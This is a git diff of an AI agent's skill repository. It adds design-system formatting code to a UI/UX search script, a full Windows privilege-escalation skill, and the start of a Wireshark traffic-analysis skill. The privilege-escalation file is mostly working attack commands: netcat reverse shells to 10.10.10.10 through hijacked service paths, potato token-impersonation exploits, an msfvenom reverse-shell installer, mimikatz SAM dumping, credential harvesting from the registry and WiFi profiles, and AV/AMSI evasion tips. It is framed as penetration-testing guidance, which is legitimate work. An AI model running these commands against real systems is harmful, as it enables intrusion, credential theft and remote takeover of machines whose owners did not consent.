+        lines.append(f"|     Conversion: {pattern.get('conversion', '')}".ljust(BOX_WIDTH) + "|")
+    if pattern.get('cta_placement'):
+        lines.append(f"|     CTA: {pattern.get('cta_placement', '')}".ljust(BOX_WIDTH) + "|")
+    lines.append("|     Sections:".ljust(BOX_WIDTH) + "|")
+    for i, section in enumerate(sections, 1):
+        lines.append(f"|       {i}. {section}".ljust(BOX_WIDTH) + "|")
+    lines.append("|" + " " * BOX_WIDTH + "|")
+
+    # Style section
+    lines.append(f"|  STYLE: {style.get('name', '')}".ljust(BOX_WIDTH) + "|")
+    if style.get("keywords"):
+        for line in wrap_text(f"Keywords: {style.get('keywords', '')}", "|     ", BOX_WIDTH):
+            lines.append(line.ljust(BOX_WIDTH) + "|")
+    if style.get("best_for"):
+        for line in wrap_text(f"Best For: {style.get('best_for', '')}", "|     ", BOX_WIDTH):
+            lines.append(line.ljust(BOX_WIDTH) + "|")
+    if style.get("performance") or style.get("accessibility"):
+        perf_a11y = f"Performance: {style.get('performance', '')} | Accessibility: {style.get('accessibility', '')}"
+        lines.append(f"|     {perf_a11y}".ljust(BOX_WIDTH) + "|")
+    lines.append("|" + " " * BOX_WIDTH + "|")
+
+    # Colors section
+    lines.append("|  COLORS:".ljust(BOX_WIDTH) + "|")
+    lines.append(f"|     Primary:    {colors.get('primary', '')}".ljust(BOX_WIDTH) + "|")
+    lines.append(f"|     Secondary:  {colors.get('secondary', '')}".ljust(BOX_WIDTH) + "|")
+    lines.append(f"|     CTA:        {colors.get('cta', '')}".ljust(BOX_WIDTH) + "|")
+    lines.append(f"|     Background: {colors.get('background', '')}".ljust(BOX_WIDTH) + "|")
+    lines.append(f"|     Text:       {colors.get('text', '')}".ljust(BOX_WIDTH) + "|")
+    if colors.get("notes"):
+        for line in wrap_text(f"Notes: {colors.get('notes', '')}", "|     ", BOX_WIDTH):
+            lines.append(line.ljust(BOX_WIDTH) + "|")
+    lines.append("|" + " " * BOX_WIDTH + "|")
+
+    # Typography section
+    lines.append(f"|  TYPOGRAPHY: {typography.get('heading', '')} / {typography.get('body', '')}".ljust(BOX_WIDTH) + "|")
+    if typography.get("mood"):
+        for line in wrap_text(f"Mood: {typography.get('mood', '')}", "|     ", BOX_WIDTH):
+            lines.append(line.ljust(BOX_WIDTH) + "|")
+    if typography.get("best_for"):
+        for line in wrap_text(f"Best For: {typography.get('best_for', '')}", "|     ", BOX_WIDTH):
+            lines.append(line.ljust(BOX_WIDTH) + "|")
+    if typography.get("google_fonts_url"):
+        lines.append(f"|     Google Fonts: {typography.get('google_fonts_url', '')}".ljust(BOX_WIDTH) + "|")
+    if typography.get("css_import"):
+        lines.append(f"|     CSS Import: {typography.get('css_import', '')[:70]}...".ljust(BOX_WIDTH) + "|")
+    lines.append("|" + " " * BOX_WIDTH + "|")
+
+    # Key Effects section
+    if effects:
+        lines.append("|  KEY EFFECTS:".ljust(BOX_WIDTH) + "|")
+        for line in wrap_text(effects, "|     ", BOX_WIDTH):
+            lines.append(line.ljust(BOX_WIDTH) + "|")
+        lines.append("|" + " " * BOX_WIDTH + "|")
+
+    # Anti-patterns section
+    if anti_patterns:
+        lines.append("|  AVOID (Anti-patterns):".ljust(BOX_WIDTH) + "|")
+        for line in wrap_text(anti_patterns, "|     ", BOX_WIDTH):
+            lines.append(line.ljust(BOX_WIDTH) + "|")
+        lines.append("|" + " " * BOX_WIDTH + "|")
+
+    # Pre-Delivery Checklist section
+    lines.append("|  PRE-DELIVERY CHECKLIST:".ljust(BOX_WIDTH) + "|")
+    checklist_items = [
+        "[ ] No emojis as icons (use SVG: Heroicons/Lucide)",
+        "[ ] cursor-pointer on all clickable elements",
+        "[ ] Hover states with smooth transitions (150-300ms)",
+        "[ ] Light mode: text contrast 4.5:1 minimum",
+        "[ ] Focus states visible for keyboard nav",
+        "[ ] prefers-reduced-motion respected",
+        "[ ] Responsive: 375px, 768px, 1024px, 1440px"
+    ]
+    for item in checklist_items:
+        lines.append(f"|     {item}".ljust(BOX_WIDTH) + "|")
+    lines.append("|" + " " * BOX_WIDTH + "|")
+
+    lines.append("+" + "-" * w + "+")
+
+    return "\n".join(lines)
+
+
+def format_markdown(design_system: dict) -> str:
+    """Format design system as markdown."""
+    project = design_system.get("project_name", "PROJECT")
+    pattern = design_system.get("pattern", {})
+    style = design_system.get("style", {})
+    colors = design_system.get("colors", {})
+    typography = design_system.get("typography", {})
+    effects = design_system.get("key_effects", "")
+    anti_patterns = design_system.get("anti_patterns", "")
+
+    lines = []
+    lines.append(f"## Design System: {project}")
+    lines.append("")
+
+    # Pattern section
+    lines.append("### Pattern")
+    lines.append(f"- **Name:** {pattern.get('name', '')}")
+    if pattern.get('conversion'):
+        lines.append(f"- **Conversion Focus:** {pattern.get('conversion', '')}")
+    if pattern.get('cta_placement'):
+        lines.append(f"- **CTA Placement:** {pattern.get('cta_placement', '')}")
+    if pattern.get('color_strategy'):
+        lines.append(f"- **Color Strategy:** {pattern.get('color_strategy', '')}")
+    lines.append(f"- **Sections:** {pattern.get('sections', '')}")
+    lines.append("")
+
+    # Style section
+    lines.append("### Style")
+    lines.append(f"- **Name:** {style.get('name', '')}")
+    if style.get('keywords'):
+        lines.append(f"- **Keywords:** {style.get('keywords', '')}")
+    if style.get('best_for'):
+        lines.append(f"- **Best For:** {style.get('best_for', '')}")
+    if style.get('performance') or style.get('accessibility'):
+        lines.append(f"- **Performance:** {style.get('performance', '')} | **Accessibility:** {style.get('accessibility', '')}")
+    lines.append("")
+
+    # Colors section
+    lines.append("### Colors")
+    lines.append(f"| Role | Hex |")
+    lines.append(f"|------|-----|")
+    lines.append(f"| Primary | {colors.get('primary', '')} |")
+    lines.append(f"| Secondary | {colors.get('secondary', '')} |")
+    lines.append(f"| CTA | {colors.get('cta', '')} |")
+    lines.append(f"| Background | {colors.get('background', '')} |")
+    lines.append(f"| Text | {colors.get('text', '')} |")
+    if colors.get("notes"):
+        lines.append(f"\n*Notes: {colors.get('notes', '')}*")
+    lines.append("")
+
+    # Typography section
+    lines.append("### Typography")
+    lines.append(f"- **Heading:** {typography.get('heading', '')}")
+    lines.append(f"- **Body:** {typography.get('body', '')}")
+    if typography.get("mood"):
+        lines.append(f"- **Mood:** {typography.get('mood', '')}")
+    if typography.get("best_for"):
+        lines.append(f"- **Best For:** {typography.get('best_for', '')}")
+    if typography.get("google_fonts_url"):
+        lines.append(f"- **Google Fonts:** {typography.get('google_fonts_url', '')}")
+    if typography.get("css_import"):
+        lines.append(f"- **CSS Import:**")
+        lines.append(f"```css")
+        lines.append(f"{typography.get('css_import', '')}")
+        lines.append(f"```")
+    lines.append("")
+
+    # Key Effects section
+    if effects:
+        lines.append("### Key Effects")
+        lines.append(f"{effects}")
+        lines.append("")
+
+    # Anti-patterns section
+    if anti_patterns:
+        lines.append("### Avoid (Anti-patterns)")
+        lines.append(f"- {anti_patterns.replace(' + ', '\n- ')}")
+        lines.append("")
+
+    # Pre-Delivery Checklist section
+    lines.append("### Pre-Delivery Checklist")
+    lines.append("- [ ] No emojis as icons (use SVG: Heroicons/Lucide)")
+    lines.append("- [ ] cursor-pointer on all clickable elements")
+    lines.append("- [ ] Hover states with smooth transitions (150-300ms)")
+    lines.append("- [ ] Light mode: text contrast 4.5:1 minimum")
+    lines.append("- [ ] Focus states visible for keyboard nav")
+    lines.append("- [ ] prefers-reduced-motion respected")
+    lines.append("- [ ] Responsive: 375px, 768px, 1024px, 1440px")
+    lines.append("")
+
+    return "\n".join(lines)
+
+
+# ============ MAIN ENTRY POINT ============
+def generate_design_system(query: str, project_name: str = None, output_format: str = "ascii") -> str:
+    """
+    Main entry point for design system generation.
+
+    Args:
+        query: Search query (e.g., "SaaS dashboard", "e-commerce luxury")
+        project_name: Optional project name for output header
+        output_format: "ascii" (default) or "markdown"
+
+    Returns:
+        Formatted design system string
+    """
+    generator = DesignSystemGenerator()
+    design_system = generator.generate(query, project_name)
+
+    if output_format == "markdown":
+        return format_markdown(design_system)
+    return format_ascii_box(design_system)
+
+
+# ============ CLI SUPPORT ============
+if __name__ == "__main__":
+    import argparse
+
+    parser = argparse.ArgumentParser(description="Generate Design System")
+    parser.add_argument("query", help="Search query (e.g., 'SaaS dashboard')")
+    parser.add_argument("--project-name", "-p", type=str, default=None, help="Project name")
+    parser.add_argument("--format", "-f", choices=["ascii", "markdown"], default="ascii", help="Output format")
+
+    args = parser.parse_args()
+
+    result = generate_design_system(args.query, args.project_name, args.format)
+    print(result)

skills/ui-ux-pro-max/scripts/search.py

@@ -3,6 +3,7 @@
 """
 UI/UX Pro Max Search - BM25 search engine for UI/UX style guides
 Usage: python search.py "<query>" [--domain <domain>] [--stack <stack>] [--max-results 3]
+       python search.py "<query>" --design-system [-p "Project Name"]
 
 Domains: style, prompt, color, chart, landing, product, ux, typography
 Stacks: html-tailwind, react, nextjs
@@ -10,6 +11,7 @@ Stacks: html-tailwind, react, nextjs
 
 import argparse
 from core import CSV_CONFIG, AVAILABLE_STACKS, MAX_RESULTS, search, search_stack
+from design_system import generate_design_system
 
 
 def format_output(result):
@@ -45,17 +47,30 @@ if __name__ == "__main__":
     parser.add_argument("--stack", "-s", choices=AVAILABLE_STACKS, help="Stack-specific search (html-tailwind, react, nextjs)")
     parser.add_argument("--max-results", "-n", type=int, default=MAX_RESULTS, help="Max results (default: 3)")
     parser.add_argument("--json", action="store_true", help="Output as JSON")
+    # Design system generation
+    parser.add_argument("--design-system", "-ds", action="store_true", help="Generate complete design system recommendation")
+    parser.add_argument("--project-name", "-p", type=str, default=None, help="Project name for design system output")
+    parser.add_argument("--format", "-f", choices=["ascii", "markdown"], default="ascii", help="Output format for design system")
 
     args = parser.parse_args()
 
-    # Stack search takes priority
+    # Design system takes priority
-    if args.stack:
+    if args.design_system:
+        result = generate_design_system(args.query, args.project_name, args.format)
+        print(result)
+    # Stack search
+    elif args.stack:
         result = search_stack(args.query, args.stack, args.max_results)
+        if args.json:
+            import json
+            print(json.dumps(result, indent=2, ensure_ascii=False))
+        else:
+            print(format_output(result))
+    # Domain search
     else:
         result = search(args.query, args.domain, args.max_results)
-
+        if args.json:
-    if args.json:
+            import json
-        import json
+            print(json.dumps(result, indent=2, ensure_ascii=False))
-        print(json.dumps(result, indent=2, ensure_ascii=False))
+        else:
-    else:
+            print(format_output(result))
-        print(format_output(result))

skills/windows-privilege-escalation/SKILL.md

@@ -0,0 +1,493 @@
+---
+name: Windows Privilege Escalation
+description: This skill should be used when the user asks to "escalate privileges on Windows," "find Windows privesc vectors," "enumerate Windows for privilege escalation," "exploit Windows misconfigurations," or "perform post-exploitation privilege escalation." It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments.
+---
+
+# Windows Privilege Escalation
+
+## Purpose
+
+Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements. This skill covers system enumeration, credential harvesting, service exploitation, token impersonation, kernel exploits, and various misconfigurations that enable escalation from standard user to Administrator or SYSTEM privileges.
+
+## Inputs / Prerequisites
+
+- **Initial Access**: Shell or RDP access as standard user on Windows system
+- **Enumeration Tools**: WinPEAS, PowerUp, Seatbelt, or manual commands
+- **Exploit Binaries**: Pre-compiled exploits or ability to transfer tools
+- **Knowledge**: Understanding of Windows security model and privileges
+- **Authorization**: Written permission for penetration testing activities
+
+## Outputs / Deliverables
+
+- **Privilege Escalation Path**: Identified vector to higher privileges
+- **Credential Dump**: Harvested passwords, hashes, or tokens
+- **Elevated Shell**: Command execution as Administrator or SYSTEM
+- **Vulnerability Report**: Documentation of misconfigurations and exploits
+- **Remediation Recommendations**: Fixes for identified weaknesses
+
+## Core Workflow
+
+### 1. System Enumeration
+
+#### Basic System Information
+```powershell
+# OS version and patches
+systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
+wmic qfe
+
+# Architecture
+wmic os get osarchitecture
+echo %PROCESSOR_ARCHITECTURE%
+
+# Environment variables
+set
+Get-ChildItem Env: | ft Key,Value
+
+# List drives
+wmic logicaldisk get caption,description,providername
+```
+
+#### User Enumeration
+```powershell
+# Current user
+whoami
+echo %USERNAME%
+
+# User privileges
+whoami /priv
+whoami /groups
+whoami /all
+
+# All users
+net user
+Get-LocalUser | ft Name,Enabled,LastLogon
+
+# User details
+net user administrator
+net user %USERNAME%
+
+# Local groups
+net localgroup
+net localgroup administrators
+Get-LocalGroupMember Administrators | ft Name,PrincipalSource
+```
+
+#### Network Enumeration
+```powershell
+# Network interfaces
+ipconfig /all
+Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
+
+# Routing table
+route print
+Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric
+
+# ARP table
+arp -A
+
+# Active connections
+netstat -ano
+
+# Network shares
+net share
+
+# Domain Controllers
+nltest /DCLIST:DomainName
+```
+
+#### Antivirus Enumeration
+```powershell
+# Check AV products
+WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
+```
+
+### 2. Credential Harvesting
+
+#### SAM and SYSTEM Files
+```powershell
+# SAM file locations
+%SYSTEMROOT%\repair\SAM
+%SYSTEMROOT%\System32\config\RegBack\SAM
+%SYSTEMROOT%\System32\config\SAM
+
+# SYSTEM file locations
+%SYSTEMROOT%\repair\system
+%SYSTEMROOT%\System32\config\SYSTEM
+%SYSTEMROOT%\System32\config\RegBack\system
+
+# Extract hashes (from Linux after obtaining files)
+pwdump SYSTEM SAM > sam.txt
+samdump2 SYSTEM SAM -o sam.txt
+
+# Crack with John
+john --format=NT sam.txt
+```
+
+#### HiveNightmare (CVE-2021-36934)
+```powershell
+# Check vulnerability
+icacls C:\Windows\System32\config\SAM
+# Vulnerable if: BUILTIN\Users:(I)(RX)
+
+# Exploit with mimikatz
+mimikatz> token::whoami /full
+mimikatz> misc::shadowcopies
+mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
+```
+
+#### Search for Passwords
+```powershell
+# Search file contents
+findstr /SI /M "password" *.xml *.ini *.txt
+findstr /si password *.xml *.ini *.txt *.config
+
+# Search registry
+reg query HKLM /f password /t REG_SZ /s
+reg query HKCU /f password /t REG_SZ /s
+
+# Windows Autologin credentials
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
+
+# PuTTY sessions
+reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
+
+# VNC passwords
+reg query "HKCU\Software\ORL\WinVNC3\Password"
+reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
+
+# Search for specific files
+dir /S /B *pass*.txt == *pass*.xml == *cred* == *vnc* == *.config*
+where /R C:\ *.ini
+```
+
+#### Unattend.xml Credentials
+```powershell
+# Common locations
+C:\unattend.xml
+C:\Windows\Panther\Unattend.xml
+C:\Windows\Panther\Unattend\Unattend.xml
+C:\Windows\system32\sysprep.inf
+C:\Windows\system32\sysprep\sysprep.xml
+
+# Search for files
+dir /s *sysprep.inf *sysprep.xml *unattend.xml 2>nul
+
+# Decode base64 password (Linux)
+echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
+```
+
+#### WiFi Passwords
+```powershell
+# List profiles
+netsh wlan show profile
+
+# Get cleartext password
+netsh wlan show profile <SSID> key=clear
+
+# Extract all WiFi passwords
+for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Key" | find /v "Number" & echo.) & @echo on
+```
+
+#### PowerShell History
+```powershell
+# View PowerShell history
+type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
+cat (Get-PSReadlineOption).HistorySavePath
+cat (Get-PSReadlineOption).HistorySavePath | sls passw
+```
+
+### 3. Service Exploitation
+
+#### Incorrect Service Permissions
+```powershell
+# Find misconfigured services
+accesschk.exe -uwcqv "Authenticated Users" * /accepteula
+accesschk.exe -uwcqv "Everyone" * /accepteula
+accesschk.exe -ucqv <service_name>
+
+# Look for: SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG
+
+# Exploit vulnerable service
+sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444"
+sc stop <service>
+sc start <service>
+```
+
+#### Unquoted Service Paths
+```powershell
+# Find unquoted paths
+wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
+wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
+
+# Exploit: Place malicious exe in path
+# For path: C:\Program Files\Some App\service.exe
+# Try: C:\Program.exe or C:\Program Files\Some.exe
+```
+
+#### AlwaysInstallElevated
+```powershell
+# Check if enabled
+reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+
+# Both must return 0x1 for vulnerability
+
+# Create malicious MSI
+msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi
+
+# Install (runs as SYSTEM)
+msiexec /quiet /qn /i C:\evil.msi
+```
+
+### 4. Token Impersonation
+
+#### Check Impersonation Privileges
+```powershell
+# Look for these privileges
+whoami /priv
+
+# Exploitable privileges:
+# SeImpersonatePrivilege
+# SeAssignPrimaryTokenPrivilege
+# SeTcbPrivilege
+# SeBackupPrivilege
+# SeRestorePrivilege
+# SeCreateTokenPrivilege
+# SeLoadDriverPrivilege
+# SeTakeOwnershipPrivilege
+# SeDebugPrivilege
+```
+
+#### Potato Attacks
+```powershell
+# JuicyPotato (Windows Server 2019 and below)
+JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cmd.exe" -t *
+
+# PrintSpoofer (Windows 10 and Server 2019)
+PrintSpoofer.exe -i -c cmd
+
+# RoguePotato
+RoguePotato.exe -r 10.10.10.10 -e "C:\nc.exe 10.10.10.10 4444 -e cmd.exe" -l 9999
+
+# GodPotato
+GodPotato.exe -cmd "cmd /c whoami"
+```
+
+### 5. Kernel Exploitation
+
+#### Find Kernel Vulnerabilities
+```powershell
+# Use Windows Exploit Suggester
+systeminfo > systeminfo.txt
+python wes.py systeminfo.txt
+
+# Or use Watson (on target)
+Watson.exe
+
+# Or use Sherlock PowerShell script
+powershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1
+```
+
+#### Common Kernel Exploits
+```
+MS17-010 (EternalBlue) - Windows 7/2008/2003/XP
+MS16-032 - Secondary Logon Handle - 2008/7/8/10/2012
+MS15-051 - Client Copy Image - 2003/2008/7
+MS14-058 - TrackPopupMenu - 2003/2008/7/8.1
+MS11-080 - afd.sys - XP/2003
+MS10-015 - KiTrap0D - 2003/XP/2000
+MS08-067 - NetAPI - 2000/XP/2003
+CVE-2021-1732 - Win32k - Windows 10/Server 2019
+CVE-2020-0796 - SMBGhost - Windows 10
+CVE-2019-1388 - UAC Bypass - Windows 7/8/10/2008/2012/2016/2019
+```
+
+### 6. Additional Techniques
+
+#### DLL Hijacking
+```powershell
+# Find missing DLLs with Process Monitor
+# Filter: Result = NAME NOT FOUND, Path ends with .dll
+
+# Compile malicious DLL
+# For x64: x86_64-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
+# For x86: i686-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
+```
+
+#### Runas with Saved Credentials
+```powershell
+# List saved credentials
+cmdkey /list
+
+# Use saved credentials
+runas /savecred /user:Administrator "cmd.exe /k whoami"
+runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\share\evil.exe"
+```
+
+#### WSL Exploitation
+```powershell
+# Check for WSL
+wsl whoami
+
+# Set root as default user
+wsl --default-user root
+# Or: ubuntu.exe config --default-user root
+
+# Spawn shell as root
+wsl whoami
+wsl python -c 'import os; os.system("/bin/bash")'
+```
+
+## Quick Reference
+
+### Enumeration Tools
+
+| Tool | Command | Purpose |
+|------|---------|---------|
+| WinPEAS | `winPEAS.exe` | Comprehensive enumeration |
+| PowerUp | `Invoke-AllChecks` | Service/path vulnerabilities |
+| Seatbelt | `Seatbelt.exe -group=all` | Security audit checks |
+| Watson | `Watson.exe` | Missing patches |
+| JAWS | `.\jaws-enum.ps1` | Legacy Windows enum |
+| PrivescCheck | `Invoke-PrivescCheck` | Privilege escalation checks |
+
+### Default Writable Folders
+
+```
+C:\Windows\Temp
+C:\Windows\Tasks
+C:\Users\Public
+C:\Windows\tracing
+C:\Windows\System32\spool\drivers\color
+C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
+```
+
+### Common Privilege Escalation Vectors
+
+| Vector | Check Command |
+|--------|---------------|
+| Unquoted paths | `wmic service get pathname \| findstr /i /v """` |
+| Weak service perms | `accesschk.exe -uwcqv "Everyone" *` |
+| AlwaysInstallElevated | `reg query HKCU\...\Installer /v AlwaysInstallElevated` |
+| Stored credentials | `cmdkey /list` |
+| Token privileges | `whoami /priv` |
+| Scheduled tasks | `schtasks /query /fo LIST /v` |
+
+### Impersonation Privilege Exploits
+
+| Privilege | Tool | Usage |
+|-----------|------|-------|
+| SeImpersonatePrivilege | JuicyPotato | CLSID abuse |
+| SeImpersonatePrivilege | PrintSpoofer | Spooler service |
+| SeImpersonatePrivilege | RoguePotato | OXID resolver |
+| SeBackupPrivilege | robocopy /b | Read protected files |
+| SeRestorePrivilege | Enable-SeRestorePrivilege | Write protected files |
+| SeTakeOwnershipPrivilege | takeown.exe | Take file ownership |
+
+## Constraints and Limitations
+
+### Operational Boundaries
+- Kernel exploits may cause system instability
+- Some exploits require specific Windows versions
+- AV/EDR may detect and block common tools
+- Token impersonation requires service account context
+- Some techniques require GUI access
+
+### Detection Considerations
+- Credential dumping triggers security alerts
+- Service modification logged in Event Logs
+- PowerShell execution may be monitored
+- Known exploit signatures detected by AV
+
+### Legal Requirements
+- Only test systems with written authorization
+- Document all escalation attempts
+- Avoid disrupting production systems
+- Report all findings through proper channels
+
+## Examples
+
+### Example 1: Service Binary Path Exploitation
+```powershell
+# Find vulnerable service
+accesschk.exe -uwcqv "Authenticated Users" * /accepteula
+# Result: RW MyService SERVICE_ALL_ACCESS
+
+# Check current config
+sc qc MyService
+
+# Stop service and change binary path
+sc stop MyService
+sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
+sc start MyService
+
+# Catch shell as SYSTEM
+```
+
+### Example 2: AlwaysInstallElevated Exploitation
+```powershell
+# Verify vulnerability
+reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+# Both return: 0x1
+
+# Generate payload (attacker machine)
+msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
+
+# Transfer and execute
+msiexec /quiet /qn /i C:\Users\Public\shell.msi
+
+# Catch SYSTEM shell
+```
+
+### Example 3: JuicyPotato Token Impersonation
+```powershell
+# Verify SeImpersonatePrivilege
+whoami /priv
+# SeImpersonatePrivilege Enabled
+
+# Run JuicyPotato
+JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
+
+# Catch SYSTEM shell
+```
+
+### Example 4: Unquoted Service Path
+```powershell
+# Find unquoted path
+wmic service get name,pathname | findstr /i /v """
+# Result: C:\Program Files\Vuln App\service.exe
+
+# Check write permissions
+icacls "C:\Program Files\Vuln App"
+# Result: Users:(W)
+
+# Place malicious binary
+copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"
+
+# Restart service
+sc stop "Vuln App"
+sc start "Vuln App"
+```
+
+### Example 5: Credential Harvesting from Registry
+```powershell
+# Check for auto-logon credentials
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
+# DefaultUserName: Administrator
+# DefaultPassword: P@ssw0rd123
+
+# Use credentials
+runas /user:Administrator cmd.exe
+# Or for remote: psexec \\target -u Administrator -p P@ssw0rd123 cmd
+```
+
+## Troubleshooting
+
+| Issue | Cause | Solution |
+|-------|-------|----------|
+| Exploit fails (AV detected) | AV blocking known exploits | Use obfuscated exploits; living-off-the-land (mshta, certutil); custom compiled binaries |
+| Service won't start | Binary path syntax | Ensure space after `=` in binpath: `binpath= "C:\path\binary.exe"` |
+| Token impersonation fails | Wrong privilege/version | Check `whoami /priv`; verify Windows version compatibility |
+| Can't find kernel exploit | System patched | Run Windows Exploit Suggester: `python wes.py systeminfo.txt` |
+| PowerShell blocked | Execution policy/AMSI | Use `powershell -ep bypass -c "cmd"` or `-enc <base64>` |

skills/wireshark-analysis/SKILL.md

@@ -0,0 +1,494 @@
+---
+name: Wireshark Network Traffic Analysis
+description: This skill should be used when the user asks to "analyze network traffic with Wireshark", "capture packets for troubleshooting", "filter PCAP files", "follow TCP/UDP streams", "detect network anomalies", "investigate suspicious traffic", or "perform protocol analysis". It provides comprehensive techniques for network packet capture, filtering, and analysis using Wireshark.
+---
+
+# Wireshark Network Traffic Analysis
+
+## Purpose
+
+Execute comprehensive network traffic analysis using Wireshark to capture, filter, and examine network packets for security investigations, performance optimization, and troubleshooting. This skill enables systematic analysis of network protocols, detection of anomalies, and reconstruction of network conversations from PCAP files.
+
+## Inputs / Prerequisites
+
+### Required Tools
+- Wireshark installed (Windows, macOS, or Linux)
+- Network interface with capture permissions
+- PCAP/PCAPNG files for offline analysis
+- Administrator/root privileges for live capture
+
+### Technical Requirements
+- Understanding of network protocols (TCP, UDP, HTTP, DNS)
+- Familiarity with IP addressing and ports
+- Knowledge of OSI model layers
+- Understanding of common attack patterns
+
+### Use Cases
+- Network troubleshooting and connectivity issues
+- Security incident investigation
+- Malware traffic analysis
+- Performance monitoring and optimization
+- Protocol learning and education
+
+## Outputs / Deliverables
+
+### Primary Outputs
+- Filtered packet captures for specific traffic
+- Reconstructed communication streams
+- Traffic statistics and visualizations
+- Evidence documentation for incidents
+
+## Core Workflow
+
+### Phase 1: Capturing Network Traffic
+
+#### Start Live Capture
+Begin capturing packets on network interface:
+
+```
+1. Launch Wireshark
+2. Select network interface from main screen
+3. Click shark fin icon or double-click interface
+4. Capture begins immediately
+```
+
+#### Capture Controls
+| Action | Shortcut | Description |
+|--------|----------|-------------|
+| Start/Stop Capture | Ctrl+E | Toggle capture on/off |
+| Restart Capture | Ctrl+R | Stop and start new capture |
+| Open PCAP File | Ctrl+O | Load existing capture file |
+| Save Capture | Ctrl+S | Save current capture |
+
+#### Capture Filters
+Apply filters before capture to limit data collection:
+
+```
+# Capture only specific host
+host 192.168.1.100
+
+# Capture specific port
+port 80
+
+# Capture specific network
+net 192.168.1.0/24
+
+# Exclude specific traffic
+not arp
+
+# Combine filters
+host 192.168.1.100 and port 443
+```
+
+### Phase 2: Display Filters
+
+#### Basic Filter Syntax
+Filter captured packets for analysis:
+
+```
+# IP address filters
+ip.addr == 192.168.1.1              # All traffic to/from IP
+ip.src == 192.168.1.1               # Source IP only
+ip.dst == 192.168.1.1               # Destination IP only
+
+# Port filters
+tcp.port == 80                       # TCP port 80
+udp.port == 53                       # UDP port 53
+tcp.dstport == 443                   # Destination port 443
+tcp.srcport == 22                    # Source port 22
+```
+
+#### Protocol Filters
+Filter by specific protocols:
+
+```
+# Common protocols
+http                                  # HTTP traffic
+https or ssl or tls                   # Encrypted web traffic
+dns                                   # DNS queries and responses
+ftp                                   # FTP traffic
+ssh                                   # SSH traffic
+icmp                                  # Ping/ICMP traffic
+arp                                   # ARP requests/responses
+dhcp                                  # DHCP traffic
+smb or smb2                          # SMB file sharing
+```
+
+#### TCP Flag Filters
+Identify specific connection states:
+
+```
+tcp.flags.syn == 1                   # SYN packets (connection attempts)
+tcp.flags.ack == 1                   # ACK packets
+tcp.flags.fin == 1                   # FIN packets (connection close)
+tcp.flags.reset == 1                 # RST packets (connection reset)
+tcp.flags.syn == 1 && tcp.flags.ack == 0  # SYN-only (initial connection)
+```
+
+#### Content Filters
+Search for specific content:
+
+```
+frame contains "password"            # Packets containing string
+http.request.uri contains "login"    # HTTP URIs with string
+tcp contains "GET"                   # TCP packets with string
+```
+
+#### Analysis Filters
+Identify potential issues:
+
+```
+tcp.analysis.retransmission          # TCP retransmissions
+tcp.analysis.duplicate_ack           # Duplicate ACKs
+tcp.analysis.zero_window             # Zero window (flow control)
+tcp.analysis.flags                   # Packets with issues
+dns.flags.rcode != 0                 # DNS errors
+```
+
+#### Combining Filters
+Use logical operators for complex queries:
+
+```
+# AND operator
+ip.addr == 192.168.1.1 && tcp.port == 80
+
+# OR operator
+dns || http
+
+# NOT operator
+!(arp || icmp)
+
+# Complex combinations
+(ip.src == 192.168.1.1 || ip.src == 192.168.1.2) && tcp.port == 443
+```
+
+### Phase 3: Following Streams
+
+#### TCP Stream Reconstruction
+View complete TCP conversation:
+
+```
+1. Right-click on any TCP packet
+2. Select Follow > TCP Stream
+3. View reconstructed conversation
+4. Toggle between ASCII, Hex, Raw views
+5. Filter to show only this stream
+```
+
+#### Stream Types
+| Stream | Access | Use Case |
+|--------|--------|----------|
+| TCP Stream | Follow > TCP Stream | Web, file transfers, any TCP |
+| UDP Stream | Follow > UDP Stream | DNS, VoIP, streaming |
+| HTTP Stream | Follow > HTTP Stream | Web content, headers |
